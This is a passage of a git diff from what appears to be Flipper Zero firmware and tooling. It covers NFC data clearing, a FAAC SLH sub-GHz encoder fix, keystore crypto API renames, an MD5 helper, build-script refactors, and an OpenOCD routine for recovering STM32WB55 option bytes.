b/lib/nfc/nfc_device.c @@ -1631,6 +1631,9 @@ void nfc_device_data_clear(NfcDeviceData* dev_data) { } else if(dev_data->protocol == NfcDeviceProtocolEMV) { memset(&dev_data->emv_data, 0, sizeof(EmvData)); } + + furi_string_reset(dev_data->parsed_data); + memset(&dev_data->nfc_data, 0, sizeof(FuriHalNfcDevData)); dev_data->protocol = NfcDeviceProtocolUnknown; furi_string_reset(dev_data->parsed_data); diff --git a/lib/subghz/protocols/faac_slh.c b/lib/subghz/protocols/faac_slh.c index 62e8c37d2..3ae6c8e23 100644 --- a/lib/subghz/protocols/faac_slh.c +++ b/lib/subghz/protocols/faac_slh.c @@ -112,6 +112,9 @@ void subghz_protocol_encoder_faac_slh_free(void* context) { static bool subghz_protocol_faac_slh_gen_data(SubGhzProtocolEncoderFaacSLH* instance) { if(instance->generic.seed != 0x0) { instance->generic.cnt += furi_hal_subghz_get_rolling_counter_mult(); + } else { + // Do not generate new data, send data from buffer + return true; } uint32_t fix = instance->generic.serial << 4 | instance->generic.btn; uint32_t hop = 0; @@ -434,6 +437,9 @@ SubGhzProtocolStatus subghz_protocol_decoder_faac_slh_serialize( furi_assert(context); SubGhzProtocolDecoderFaacSLH* instance = context; + // Reset seed leftover from previous decoded signal + instance->generic.seed = 0x0; + SubGhzProtocolStatus res = subghz_block_generic_serialize(&instance->generic, flipper_format, preset); diff --git a/lib/subghz/subghz_file_encoder_worker.c b/lib/subghz/subghz_file_encoder_worker.c index 3534745b7..5d7118092 100644 --- a/lib/subghz/subghz_file_encoder_worker.c +++ b/lib/subghz/subghz_file_encoder_worker.c @@ -244,7 +244,9 @@ bool subghz_file_encoder_worker_start( furi_stream_buffer_reset(instance->stream); furi_string_set(instance->file_path, file_path); - instance->device = subghz_devices_get_by_name(radio_device_name); + if(radio_device_name) { + instance->device = subghz_devices_get_by_name(radio_device_name); + } instance->worker_running = true; furi_thread_start(instance->thread); diff --git a/lib/subghz/subghz_keystore.c b/lib/subghz/subghz_keystore.c index 54ed15a99..636288aa6 100644 --- a/lib/subghz/subghz_keystore.c +++ b/lib/subghz/subghz_keystore.c @@ -122,7 +122,7 @@ static bool subghz_keystore_read_file(SubGhzKeystore* instance, Stream* stream, do { if(iv) { - if(!furi_hal_crypto_store_load_key(SUBGHZ_KEYSTORE_FILE_ENCRYPTION_KEY_SLOT, iv)) { + if(!furi_hal_crypto_enclave_load_key(SUBGHZ_KEYSTORE_FILE_ENCRYPTION_KEY_SLOT, iv)) { FURI_LOG_E(TAG, "Unable to load decryption key"); break; } @@ -181,7 +181,7 @@ static bool subghz_keystore_read_file(SubGhzKeystore* instance, Stream* stream, } } while(ret > 0 && result); - if(iv) furi_hal_crypto_store_unload_key(SUBGHZ_KEYSTORE_FILE_ENCRYPTION_KEY_SLOT); + if(iv) furi_hal_crypto_enclave_unload_key(SUBGHZ_KEYSTORE_FILE_ENCRYPTION_KEY_SLOT); } while(false); free(encrypted_line); @@ -280,7 +280,7 @@ bool subghz_keystore_save(SubGhzKeystore* instance, const char* file_name, uint8 subghz_keystore_mess_with_iv(iv); - if(!furi_hal_crypto_store_load_key(SUBGHZ_KEYSTORE_FILE_ENCRYPTION_KEY_SLOT, iv)) { + if(!furi_hal_crypto_enclave_load_key(SUBGHZ_KEYSTORE_FILE_ENCRYPTION_KEY_SLOT, iv)) { FURI_LOG_E(TAG, "Unable to load encryption key"); break; } @@ -326,7 +326,7 @@ bool subghz_keystore_save(SubGhzKeystore* instance, const char* file_name, uint8 stream_write_char(stream, '\n'); encrypted_line_count++; } - furi_hal_crypto_store_unload_key(SUBGHZ_KEYSTORE_FILE_ENCRYPTION_KEY_SLOT); + furi_hal_crypto_enclave_unload_key(SUBGHZ_KEYSTORE_FILE_ENCRYPTION_KEY_SLOT); size_t total_keys = SubGhzKeyArray_size(instance->data); result = encrypted_line_count == total_keys; if(result) { @@ -421,7 +421,7 @@ bool subghz_keystore_raw_encrypted_save( subghz_keystore_mess_with_iv(iv); - if(!furi_hal_crypto_store_load_key(SUBGHZ_KEYSTORE_FILE_ENCRYPTION_KEY_SLOT, iv)) { + if(!furi_hal_crypto_enclave_load_key(SUBGHZ_KEYSTORE_FILE_ENCRYPTION_KEY_SLOT, iv)) { FURI_LOG_E(TAG, "Unable to load encryption key"); break; } @@ -474,7 +474,7 @@ bool subghz_keystore_raw_encrypted_save( flipper_format_free(output_flipper_format); - furi_hal_crypto_store_unload_key(SUBGHZ_KEYSTORE_FILE_ENCRYPTION_KEY_SLOT); + furi_hal_crypto_enclave_unload_key(SUBGHZ_KEYSTORE_FILE_ENCRYPTION_KEY_SLOT); if(!result) break; @@ -576,7 +576,7 @@ bool subghz_keystore_raw_get_data(const char* file_name, size_t offset, uint8_t* } } - if(!furi_hal_crypto_store_load_key(SUBGHZ_KEYSTORE_FILE_ENCRYPTION_KEY_SLOT, iv)) { + if(!furi_hal_crypto_enclave_load_key(SUBGHZ_KEYSTORE_FILE_ENCRYPTION_KEY_SLOT, iv)) { FURI_LOG_E(TAG, "Unable to load encryption key"); break; } @@ -604,7 +604,7 @@ bool subghz_keystore_raw_get_data(const char* file_name, size_t offset, uint8_t* memcpy(data, (uint8_t*)decrypted_line + (offset - (offset / 16) * 16), len); } while(0); - furi_hal_crypto_store_unload_key(SUBGHZ_KEYSTORE_FILE_ENCRYPTION_KEY_SLOT); + furi_hal_crypto_enclave_unload_key(SUBGHZ_KEYSTORE_FILE_ENCRYPTION_KEY_SLOT); if(decrypted) result = true; } while(0); flipper_format_free(flipper_format); diff --git a/lib/subghz/types.h b/lib/subghz/types.h index d0b500a85..954a5aff3 100644 --- a/lib/subghz/types.h +++ b/lib/subghz/types.h @@ -57,6 +57,7 @@ typedef enum { // Encoder issue SubGhzProtocolStatusErrorEncoderGetUpload = (-12), ///< Payload encoder failure // Special Values + SubGhzProtocolStatusErrorProtocolNotFound = (-13), ///< Protocol not found SubGhzProtocolStatusReserved = 0x7FFFFFFF, ///< Prevents enum down-size compiler optimization. } SubGhzProtocolStatus; diff --git a/lib/toolbox/SConscript b/lib/toolbox/SConscript index fafedfeb4..cc531b5fa 100644 --- a/lib/toolbox/SConscript +++ b/lib/toolbox/SConscript @@ -10,6 +10,7 @@ env.Append( SDK_HEADERS=[ File("api_lock.h"), File("value_index.h"), + File("compress.h"), File("manchester_decoder.h"), File("manchester_encoder.h"), File("path.h"), diff --git a/lib/toolbox/md5_calc.c b/lib/toolbox/md5_calc.c new file mode 100644 index 000000000..b050295a1 --- /dev/null +++ b/lib/toolbox/md5_calc.c @@ -0,0 +1,44 @@ +#include "md5.h" +#include "md5_calc.h" + +bool md5_calc_file(File* file, const char* path, unsigned char output[16], FS_Error* file_error) { + bool result = storage_file_open(file, path, FSAM_READ, FSOM_OPEN_EXISTING); + + if(result) { + const uint16_t size_to_read = 512; + uint8_t* data = malloc(size_to_read); + md5_context* md5_ctx = malloc(sizeof(md5_context)); + + md5_starts(md5_ctx); + while(true) { + uint16_t read_size = storage_file_read(file, data, size_to_read); + if(read_size == 0) break; + md5_update(md5_ctx, data, read_size); + } + md5_finish(md5_ctx, output); + free(md5_ctx); + free(data); + } + + if(file_error != NULL) { + *file_error = storage_file_get_error(file); + } + + storage_file_close(file); + return result; +} + +bool md5_string_calc_file(File* file, const char* path, FuriString* output, FS_Error* file_error) { + const size_t hash_size = 16; + unsigned char hash[hash_size]; + bool result = md5_calc_file(file, path, hash, file_error); + + if(result) { + furi_string_set(output, ""); + for(size_t i = 0; i < hash_size; i++) { + furi_string_cat_printf(output, "%02x", hash[i]); + } + } + + return result; +} \ No newline at end of file diff --git a/lib/toolbox/md5_calc.h b/lib/toolbox/md5_calc.h new file mode 100644 index 000000000..cf82e3718 --- /dev/null +++ b/lib/toolbox/md5_calc.h @@ -0,0 +1,16 @@ +#pragma once + +#include +#include + +#ifdef __cplusplus +extern "C" { +#endif + +bool md5_calc_file(File* file, const char* path, unsigned char output[16], FS_Error* file_error); + +bool md5_string_calc_file(File* file, const char* path, FuriString* output, FS_Error* file_error); + +#ifdef __cplusplus +} +#endif diff --git a/scripts/fbt/appmanifest.py b/scripts/fbt/appmanifest.py index 067b4a26f..a677d8413 100644 --- a/scripts/fbt/appmanifest.py +++ b/scripts/fbt/appmanifest.py @@ -2,6 +2,7 @@ import os import re from dataclasses import dataclass, field from enum import Enum +from fbt.util import resolve_real_dir_node from typing import Callable, ClassVar, List, Optional, Tuple, Union @@ -152,7 +153,7 @@ class AppManager: FlipperApplication( *args, **kw, - _appdir=app_dir_node, + _appdir=resolve_real_dir_node(app_dir_node), _apppath=os.path.dirname(app_manifest_path), _appmanager=self, ), diff --git a/scripts/fbt/util.py b/scripts/fbt/util.py index ae850a8c3..fb36ef55a 100644 --- a/scripts/fbt/util.py +++ b/scripts/fbt/util.py @@ -45,7 +45,7 @@ def single_quote(arg_list): return " ".join(f"'{arg}'" if " " in arg else str(arg) for arg in arg_list) -def extract_abs_dir(node): +def resolve_real_dir_node(node): if isinstance(node, SCons.Node.FS.EntryProxy): node = node.get() @@ -53,13 +53,7 @@ def extract_abs_dir(node): if os.path.exists(repo_dir.abspath): return repo_dir - -def extract_abs_dir_path(node): - abs_dir_node = extract_abs_dir(node) - if abs_dir_node is None: - raise StopError(f"Can't find absolute path for {node.name}") - - return abs_dir_node.abspath + raise StopError(f"Can't find absolute path for {node.name} ({node})") def path_as_posix(path): diff --git a/scripts/fbt_tools/crosscc.py b/scripts/fbt_tools/crosscc.py index d0631ca33..42fb4ce4b 100644 --- a/scripts/fbt_tools/crosscc.py +++ b/scripts/fbt_tools/crosscc.py @@ -2,6 +2,8 @@ import subprocess import gdb import objdump +import shutil + import strip from SCons.Action import _subproc from SCons.Errors import StopError @@ -11,7 +13,7 @@ from SCons.Tool import ar, asm, gcc, gnulink, gxx def prefix_commands(env, command_prefix, cmd_list): for command in cmd_list: if command in env: - env[command] = command_prefix + env[command] + env[command] = shutil.which(command_prefix + env[command]) def _get_tool_version(env, tool): diff --git a/scripts/fbt_tools/fbt_assets.py b/scripts/fbt_tools/fbt_assets.py index 68617c254..4f4d3bffd 100644 --- a/scripts/fbt_tools/fbt_assets.py +++ b/scripts/fbt_tools/fbt_assets.py @@ -8,11 +8,14 @@ from SCons.Errors import StopError def icons_emitter(target, source, env): + icons_src = env.GlobRecursive("*.png", env["ICON_SRC_DIR"]) + icons_src += env.GlobRecursive("frame_rate", env["ICON_SRC_DIR"]) + target = [ target[0].File(env.subst("${ICON_FILE_NAME}.c")), target[0].File(env.subst("${ICON_FILE_NAME}.h")), ] - return target, source + return target, icons_src def proto_emitter(target, source, env): @@ -104,17 +107,12 @@ def proto_ver_generator(target, source, env): def CompileIcons(env, target_dir, source_dir, *, icon_bundle_name="assets_icons"): - # Gathering icons sources - icons_src = env.GlobRecursive("*.png", source_dir) - icons_src += env.GlobRecursive("frame_rate", source_dir) - - icons = env.IconBuilder( + return env.IconBuilder( target_dir, - source_dir, + None, + ICON_SRC_DIR=source_dir, ICON_FILE_NAME=icon_bundle_name, ) - env.Depends(icons, icons_src) - return icons def generate(env): @@ -137,14 +135,14 @@ def generate(env): BUILDERS={ "IconBuilder": Builder( action=Action( - '${PYTHON3} "${ASSETS_COMPILER}" icons "${ABSPATHGETTERFUNC(SOURCE)}" "${TARGET.dir}" --filename ${ICON_FILE_NAME}', + '${PYTHON3} ${ASSETS_COMPILER} icons ${ICON_SRC_DIR} ${TARGET.dir} --filename "${ICON_FILE_NAME}"', "${ICONSCOMSTR}", ), emitter=icons_emitter, ), "ProtoBuilder": Builder( action=Action( - '${PYTHON3} "${NANOPB_COMPILER}" -q -I${SOURCE.dir.posix} -D${TARGET.dir.posix} ${SOURCES.posix}', + "${PYTHON3} ${NANOPB_COMPILER} -q -I${SOURCE.dir.posix} -D${TARGET.dir.posix} ${SOURCES.posix}", "${PROTOCOMSTR}", ), emitter=proto_emitter, @@ -153,14 +151,14 @@ def generate(env): ), "DolphinSymBuilder": Builder( action=Action( - '${PYTHON3} "${ASSETS_COMPILER}" dolphin -s dolphin_${DOLPHIN_RES_TYPE} "${SOURCE}" "${_DOLPHIN_OUT_DIR}"', + "${PYTHON3} ${ASSETS_COMPILER} dolphin -s dolphin_${DOLPHIN_RES_TYPE} ${SOURCE} ${_DOLPHIN_OUT_DIR}", "${DOLPHINCOMSTR}", ), emitter=dolphin_emitter, ), "DolphinExtBuilder": Builder( action=Action( - '${PYTHON3} "${ASSETS_COMPILER}" dolphin "${SOURCE}" "${_DOLPHIN_OUT_DIR}"', + "${PYTHON3} ${ASSETS_COMPILER} dolphin ${SOURCE} ${_DOLPHIN_OUT_DIR}", "${DOLPHINCOMSTR}", ), emitter=dolphin_emitter, diff --git a/scripts/fbt_tools/fbt_extapps.py b/scripts/fbt_tools/fbt_extapps.py index 1766d4c44..642c1c989 100644 --- a/scripts/fbt_tools/fbt_extapps.py +++ b/scripts/fbt_tools/fbt_extapps.py @@ -11,7 +11,7 @@ from fbt.appmanifest import FlipperApplication, FlipperAppType, FlipperManifestE from fbt.elfmanifest import assemble_manifest_data from fbt.fapassets import FileBundler from fbt.sdk.cache import SdkCache -from fbt.util import extract_abs_dir_path +from fbt.util import resolve_real_dir_node from SCons.Action import Action from SCons.Builder import Builder from SCons.Errors import UserError @@ -50,7 +50,8 @@ class AppBuilder: def _setup_app_env(self): self.app_env = self.fw_env.Clone( - FAP_SRC_DIR=self.app._appdir, FAP_WORK_DIR=self.app_work_dir + FAP_SRC_DIR=self.app._appdir, + FAP_WORK_DIR=self.app_work_dir, ) self.app_env.VariantDir(self.app_work_dir, self.app._appdir, duplicate=False) @@ -119,7 +120,7 @@ class AppBuilder: CPPDEFINES=lib_def.cdefines, CPPPATH=list( map( - lambda cpath: extract_abs_dir_path(self.app._appdir.Dir(cpath)), + lambda cpath: resolve_real_dir_node(self.app._appdir.Dir(cpath)), lib_def.cincludes, ) ), @@ -133,7 +134,7 @@ class AppBuilder: def _build_app(self): self.app_env.Append( LIBS=[*self.app.fap_libs, *self.private_libs], - CPPPATH=self.app_env.Dir(self.app_work_dir), + CPPPATH=[self.app_env.Dir(self.app_work_dir), self.app._appdir], ) app_sources = list( diff --git a/scripts/flipper/utils/programmer.py b/scripts/flipper/utils/programmer.py index 84452d154..938065f7c 100644 --- a/scripts/flipper/utils/programmer.py +++ b/scripts/flipper/utils/programmer.py @@ -26,6 +26,10 @@ class Programmer(ABC): def option_bytes_set(self, file_path: str) -> bool: pass + @abstractmethod + def option_bytes_recover(self) -> bool: + pass + @abstractmethod def otp_write(self, address: int, file_path: str) -> bool: pass diff --git a/scripts/flipper/utils/programmer_openocd.py b/scripts/flipper/utils/programmer_openocd.py index 5a8029f37..77335ee5b 100644 --- a/scripts/flipper/utils/programmer_openocd.py +++ b/scripts/flipper/utils/programmer_openocd.py @@ -44,11 +44,11 @@ class OpenOCDProgrammer(Programmer): self.logger = logging.getLogger() def reset(self, mode: Programmer.RunMode = Programmer.RunMode.Run) -> bool: - stm32 = STM32WB55() + stm32 = STM32WB55(self.openocd) if mode == Programmer.RunMode.Run: - stm32.reset(self.openocd, stm32.RunMode.Run) + stm32.reset(stm32.RunMode.Run) elif mode == Programmer.RunMode.Stop: - stm32.reset(self.openocd, stm32.RunMode.Init) + stm32.reset(stm32.RunMode.Init) else: raise Exception("Unknown mode") @@ -96,11 +96,11 @@ class OpenOCDProgrammer(Programmer): def option_bytes_validate(self, file_path: str) -> bool: # Registers - stm32 = STM32WB55() + stm32 = STM32WB55(self.openocd) # OpenOCD self.openocd.start() - stm32.reset(self.openocd, stm32.RunMode.Init) + stm32.reset(stm32.RunMode.Init) # Generate Option Bytes data ob_data = OptionBytesData(file_path) @@ -133,7 +133,7 @@ class OpenOCDProgrammer(Programmer): self._ob_print_diff_table(ob_reference, ob_compare, self.logger.error) # Stop OpenOCD - stm32.reset(self.openocd, stm32.RunMode.Run) + stm32.reset(stm32.RunMode.Run) self.openocd.stop() return return_code @@ -143,11 +143,11 @@ class OpenOCDProgrammer(Programmer): def option_bytes_set(self, file_path: str) -> bool: # Registers - stm32 = STM32WB55() + stm32 = STM32WB55(self.openocd) # OpenOCD self.openocd.start() - stm32.reset(self.openocd, stm32.RunMode.Init) + stm32.reset(stm32.RunMode.Init) # Generate Option Bytes data ob_data = OptionBytesData(file_path) @@ -159,11 +159,11 @@ class OpenOCDProgrammer(Programmer): ob_dwords = int(ob_length / 8) # Clear flash errors - stm32.clear_flash_errors(self.openocd) + stm32.clear_flash_errors() # Unlock Flash and Option Bytes - stm32.flash_unlock(self.openocd) - stm32.option_bytes_unlock(self.openocd) + stm32.flash_unlock() + stm32.option_bytes_unlock() ob_need_to_apply = False @@ -194,16 +194,16 @@ class OpenOCDProgrammer(Programmer): self.openocd.write_32(device_reg_addr, ob_value) if ob_need_to_apply: - stm32.option_bytes_apply(self.openocd) + stm32.option_bytes_apply() else: self.logger.info("Option Bytes are already correct") # Load Option Bytes # That will reset and also lock the Option Bytes and the Flash - stm32.option_bytes_load(self.openocd) + stm32.option_bytes_load() # Stop OpenOCD - stm32.reset(self.openocd, stm32.RunMode.Run) + stm32.reset(stm32.RunMode.Run) self.openocd.stop() return True @@ -233,11 +233,10 @@ class OpenOCDProgrammer(Programmer): self.logger.debug(f"Data: {data.hex().upper()}") # Start OpenOCD - oocd = self.openocd - oocd.start() + self.openocd.start() # Registers - stm32 = STM32WB55() + stm32 = STM32WB55(self.openocd) try: # Check that OTP is empty for the given address @@ -245,7 +244,7 @@ class OpenOCDProgrammer(Programmer): already_written = True for i in range(0, data_size, 4): file_word = int.from_bytes(data[i : i + 4], "little") - device_word = oocd.read_32(address + i) + device_word = self.openocd.read_32(address + i) if device_word != 0xFFFFFFFF and device_word != file_word: self.logger.error( f"OTP memory at {address + i:08X} is not empty: {device_word:08X}" @@ -260,7 +259,7 @@ class OpenOCDProgrammer(Programmer): return OpenOCDProgrammerResult.Success self.reset(self.RunMode.Stop) - stm32.clear_flash_errors(oocd) + stm32.clear_flash_errors() # Write OTP memory by 8 bytes for i in range(0, data_size, 8): @@ -269,14 +268,14 @@ class OpenOCDProgrammer(Programmer): self.logger.debug( f"Writing {word_1:08X} {word_2:08X} to {address + i:08X}" ) - stm32.write_flash_64(oocd, address + i, word_1, word_2) + stm32.write_flash_64(address + i, word_1, word_2) # Validate OTP memory validation_result = True for i in range(0, data_size, 4): file_word = int.from_bytes(data[i : i + 4], "little") - device_word = oocd.read_32(address + i) + device_word = self.openocd.read_32(address + i) if file_word != device_word: self.logger.error( f"Validation failed: {file_word:08X} != {device_word:08X} at {address + i:08X}" @@ -284,11 +283,21 @@ class OpenOCDProgrammer(Programmer): validation_result = False finally: # Stop OpenOCD - stm32.reset(oocd, stm32.RunMode.Run) - oocd.stop() + stm32.reset(stm32.RunMode.Run) + self.openocd.stop() return ( OpenOCDProgrammerResult.Success if validation_result else OpenOCDProgrammerResult.ErrorValidation ) + + def option_bytes_recover(self) -> bool: + try: + self.openocd.start() + stm32 = STM32WB55(self.openocd) + stm32.reset(stm32.RunMode.Halt) + stm32.option_bytes_recover() + return True + finally: + self.openocd.stop() diff --git a/scripts/flipper/utils/register.py b/scripts/flipper/utils/register.py index 26d66730c..aad75eaca 100644 --- a/scripts/flipper/utils/register.py +++ b/scripts/flipper/utils/register.py @@ -16,6 +16,7 @@ class Register32: self.names = [definition.name for definition in definition_list] # typecheck self.address = address self.definition_list = definition_list + self.openocd = None # Validate that the definitions are not overlapping for i in range(len(definition_list)): @@ -76,6 +77,14 @@ class Register32: def __dir__(self): return self.names + def set_openocd(self, openocd: OpenOCD): + self.openocd = openocd + + def get_openocd(self) -> OpenOCD: + if self.openocd is None: + raise RuntimeError("OpenOCD is not installed") + return self.openocd + def set(self, value: int): for definition in self.definition_list: definition.value = (value >> definition.offset) & ( @@ -88,8 +97,8 @@ class Register32: value |= definition.value << definition.offset return value - def load(self, openocd: OpenOCD): - self.set(openocd.read_32(self.address)) + def load(self): + self.set(self.get_openocd().read_32(self.address)) - def store(self, openocd: OpenOCD): - openocd.write_32(self.address, self.get()) + def store(self): + self.get_openocd().write_32(self.address, self.get()) diff --git a/scripts/flipper/utils/stm32wb55.py b/scripts/flipper/utils/stm32wb55.py index 52a5ec4e3..4a47b8bea 100644 --- a/scripts/flipper/utils/stm32wb55.py +++ b/scripts/flipper/utils/stm32wb55.py @@ -108,23 +108,27 @@ class STM32WB55: 15: None, # Core 2 Options } - def __init__(self): + def __init__(self, openocd: OpenOCD): + self.openocd = openocd self.logger = logging.getLogger("STM32WB55") + self.FLASH_CR.set_openocd(self.openocd) + self.FLASH_SR.set_openocd(self.openocd) + class RunMode(Enum): Init = "init" Run = "run" Halt = "halt" - def reset(self, oocd: OpenOCD, mode: RunMode): + def reset(self, mode: RunMode): self.logger.debug("Resetting device") - oocd.send_tcl(f"reset {mode.value}") + self.openocd.send_tcl(f"reset {mode.value}") - def clear_flash_errors(self, oocd: OpenOCD): + def clear_flash_errors(self): # Errata 2.2.9: Flash OPTVERR flag is always set after system reset # And also clear all other flash error flags self.logger.debug("Resetting flash errors") - self.FLASH_SR.load(oocd) + self.FLASH_SR.load() self.FLASH_SR.OP_ERR = 1 self.FLASH_SR.PROG_ERR = 1 self.FLASH_SR.WRP_ERR = 1 @@ -135,51 +139,51 @@ class STM32WB55: self.FLASH_SR.FAST_ERR = 1 self.FLASH_SR.RD_ERR = 1 self.FLASH_SR.OPTV_ERR = 1 - self.FLASH_SR.store(oocd) + self.FLASH_SR.store() - def flash_unlock(self, oocd: OpenOCD): + def flash_unlock(self): # Check if flash is already unlocked - self.FLASH_CR.load(oocd) + self.FLASH_CR.load() if self.FLASH_CR.LOCK == 0: self.logger.debug("Flash is already unlocked") return # Unlock flash self.logger.debug("Unlocking Flash") - oocd.write_32(self.FLASH_KEYR, self.FLASH_UNLOCK_KEY1) - oocd.write_32(self.FLASH_KEYR, self.FLASH_UNLOCK_KEY2) + self.openocd.write_32(self.FLASH_KEYR, self.FLASH_UNLOCK_KEY1) + self.openocd.write_32(self.FLASH_KEYR, self.FLASH_UNLOCK_KEY2) # Check if flash is unlocked - self.FLASH_CR.load(oocd) + self.FLASH_CR.load() if self.FLASH_CR.LOCK == 0: self.logger.debug("Flash unlocked") else: self.logger.error("Flash unlock failed") raise Exception("Flash unlock failed") - def option_bytes_unlock(self, oocd: OpenOCD): + def option_bytes_unlock(self): # Check if options is already unlocked - self.FLASH_CR.load(oocd) + self.FLASH_CR.load() if self.FLASH_CR.OPT_LOCK == 0: self.logger.debug("Options is already unlocked") return # Unlock options self.logger.debug("Unlocking Options") - oocd.write_32(self.FLASH_OPTKEYR, self.FLASH_UNLOCK_OPTKEY1) - oocd.write_32(self.FLASH_OPTKEYR, self.FLASH_UNLOCK_OPTKEY2) + self.openocd.write_32(self.FLASH_OPTKEYR, self.FLASH_UNLOCK_OPTKEY1) + self.openocd.write_32(self.FLASH_OPTKEYR, self.FLASH_UNLOCK_OPTKEY2) # Check if options is unlocked - self.FLASH_CR.load(oocd) + self.FLASH_CR.load() if self.FLASH_CR.OPT_LOCK == 0: self.logger.debug("Options unlocked") else: self.logger.error("Options unlock failed") raise Exception("Options unlock failed") - def option_bytes_lock(self, oocd: OpenOCD): + def option_bytes_lock(self): # Check if options is already locked - self.FLASH_CR.load(oocd) + self.FLASH_CR.load() if self.FLASH_CR.OPT_LOCK == 1: self.logger.debug("Options is already locked") return @@ -187,19 +191,19 @@ class STM32WB55: # Lock options self.logger.debug("Locking Options") self.FLASH_CR.OPT_LOCK = 1 - self.FLASH_CR.store(oocd) + self.FLASH_CR.store() # Check if options is locked - self.FLASH_CR.load(oocd) + self.FLASH_CR.load() if self.FLASH_CR.OPT_LOCK == 1: self.logger.debug("Options locked") else: self.logger.error("Options lock failed") raise Exception("Options lock failed") - def flash_lock(self, oocd: OpenOCD): + def flash_lock(self): # Check if flash is already locked - self.FLASH_CR.load(oocd) + self.FLASH_CR.load() if self.FLASH_CR.LOCK == 1: self.logger.debug("Flash is already locked") return @@ -207,31 +211,31 @@ class STM32WB55: # Lock flash self.logger.debug("Locking Flash") self.FLASH_CR.LOCK = 1 - self.FLASH_CR.store(oocd) + self.FLASH_CR.store() # Check if flash is locked - self.FLASH_CR.load(oocd) + self.FLASH_CR.load() if self.FLASH_CR.LOCK == 1: self.logger.debug("Flash locked") else: self.logger.error("Flash lock failed") raise Exception("Flash lock failed") - def option_bytes_apply(self, oocd: OpenOCD): + def option_bytes_apply(self): self.logger.debug("Applying Option Bytes") - self.FLASH_CR.load(oocd) + self.FLASH_CR.load() self.FLASH_CR.OPT_STRT = 1 - self.FLASH_CR.store(oocd) + self.FLASH_CR.store() # Wait for Option Bytes to be applied - self.flash_wait_for_operation(oocd) + self.flash_wait_for_operation() - def option_bytes_load(self, oocd: OpenOCD): + def option_bytes_load(self): self.logger.debug("Loading Option Bytes") - self.FLASH_CR.load(oocd) + self.FLASH_CR.load() self.FLASH_CR.OBL_LAUNCH = 1 - self.FLASH_CR.store(oocd) + self.FLASH_CR.store() def option_bytes_id_to_address(self, id: int) -> int: # Check if this option byte (dword) is mapped to a register @@ -241,16 +245,16 @@ class STM32WB55: return device_reg_addr - def flash_wait_for_operation(self, oocd: OpenOCD): + def flash_wait_for_operation(self): # Wait for flash operation to complete # TODO: timeout while True: - self.FLASH_SR.load(oocd) + self.FLASH_SR.load() if self.FLASH_SR.BSY == 0: break - def flash_dump_status_register(self, oocd: OpenOCD): - self.FLASH_SR.load(oocd) + def flash_dump_status_register(self): + self.FLASH_SR.load() self.logger.info(f"FLASH_SR: {self.FLASH_SR.get():08x}") if self.FLASH_SR.EOP: self.logger.info(" End of operation") @@ -283,70 +287,87 @@ class STM32WB55: if self.FLASH_SR.PESD: self.logger.info(" Programming / erase operation suspended.") - def write_flash_64(self, oocd: OpenOCD, address: int, word_1: int, word_2: int): + def write_flash_64(self, address: int, word_1: int, word_2: int): self.logger.debug(f"Writing flash at address {address:08x}") if address % 8 != 0: self.logger.error("Address must be aligned to 8 bytes") raise Exception("Address must be aligned to 8 bytes") - if word_1 == oocd.read_32(address) and word_2 == oocd.read_32(address + 4): + if word_1 == self.openocd.read_32(address) and word_2 == self.openocd.read_32( + address + 4 + ): self.logger.debug("Data is already programmed") return - self.flash_unlock(oocd) + self.flash_unlock() # Check that no flash main memory operation is ongoing by checking the BSY bit - self.FLASH_SR.load(oocd) + self.FLASH_SR.load() if self.FLASH_SR.BSY: self.logger.error("Flash is busy") - self.flash_dump_status_register(oocd) + self.flash_dump_status_register() raise Exception("Flash is busy") # Enable end of operation interrupts and error interrupts - self.FLASH_CR.load(oocd) + self.FLASH_CR.load() self.FLASH_CR.EOPIE = 1 self.FLASH_CR.ERRIE = 1 - self.FLASH_CR.store(oocd) + self.FLASH_CR.store() # Check that flash memory program and erase operations are allowed if self.FLASH_SR.PESD: self.logger.error("Flash operations are not allowed") - self.flash_dump_status_register(oocd) + self.flash_dump_status_register() raise Exception("Flash operations are not allowed") # Check and clear all error programming flags due to a previous programming. - self.clear_flash_errors(oocd) + self.clear_flash_errors() # Set the PG bit in the Flash memory control register (FLASH_CR) - self.FLASH_CR.load(oocd) + self.FLASH_CR.load() self.FLASH_CR.PG = 1 - self.FLASH_CR.store(oocd) + self.FLASH_CR.store() # Perform the data write operation at the desired memory address, only double word (64 bits) can be programmed. # Write the first word - oocd.send_tcl(f"mww 0x{address:08x} 0x{word_1:08x}") + self.openocd.send_tcl(f"mww 0x{address:08x} 0x{word_1:08x}") # Write the second word - oocd.send_tcl(f"mww 0x{(address + 4):08x} 0x{word_2:08x}") + self.openocd.send_tcl(f"mww 0x{(address + 4):08x} 0x{word_2:08x}") # Wait for the BSY bit to be cleared - self.flash_wait_for_operation(oocd) + self.flash_wait_for_operation() # Check that EOP flag is set in the FLASH_SR register - self.FLASH_SR.load(oocd) + self.FLASH_SR.load() if not self.FLASH_SR.EOP: self.logger.error("Flash operation failed") - self.flash_dump_status_register(oocd) + self.flash_dump_status_register() raise Exception("Flash operation failed") # Clear the EOP flag - self.FLASH_SR.load(oocd) + self.FLASH_SR.load() self.FLASH_SR.EOP = 1 - self.FLASH_SR.store(oocd) + self.FLASH_SR.store() # Clear the PG bit in the FLASH_CR register - self.FLASH_CR.load(oocd) + self.FLASH_CR.load() self.FLASH_CR.PG = 0 - self.FLASH_CR.store(oocd) + self.FLASH_CR.store() - self.flash_lock(oocd) + self.flash_lock() + + def option_bytes_recover(self): + self.openocd.send_tcl("mww 0x58004010 0x8000") # set OPTVERR to reset + # Replace flash_unlock and option_bytes_unlock with the following lines, if this does not work + # self.openocd.send_tcl("mww 0x58004008 0x45670123") # unlock FLASH + # self.openocd.send_tcl("mww 0x58004008 0xCDEF89AB") + # self.openocd.send_tcl("mww 0x5800400c 0x08192A3B") # unlock OB + # self.openocd.send_tcl("mww 0x5800400c 0x4C5D6E7F") + self.flash_unlock() + self.option_bytes_unlock() + self.openocd.send_tcl("mmw 0x58004020 0x3ffff1aa 0xffffffff") # Reset OB + self.openocd.send_tcl("mww 0x5800402c 0xff") # Reset WRP1AR + self.openocd.send_tcl("mww 0x58004030 0xff") # Reset WRP1BR + self.openocd.send_tcl("mmw 0x58004014 0x00020000 0") # OPTSTRT + self.openocd.send_tcl("mmw 0x58004014 0x08000000 0") # OBL_LAUNCH diff --git a/scripts/ob.py b/scripts/ob.py index 7010bdec5..b7a601612 100755 --- a/scripts/ob.py +++ b/scripts/ob.py @@ -22,6 +22,12 @@ class Main(App): self.parser_set = self.subparsers.add_parser("set", help="Set Option Bytes") self._add_args(self.parser_set) self.parser_set.set_defaults(func=self.set) + # Set command + self.parser_recover = self.subparsers.add_parser( + "recover", help="Recover Option Bytes" + ) + 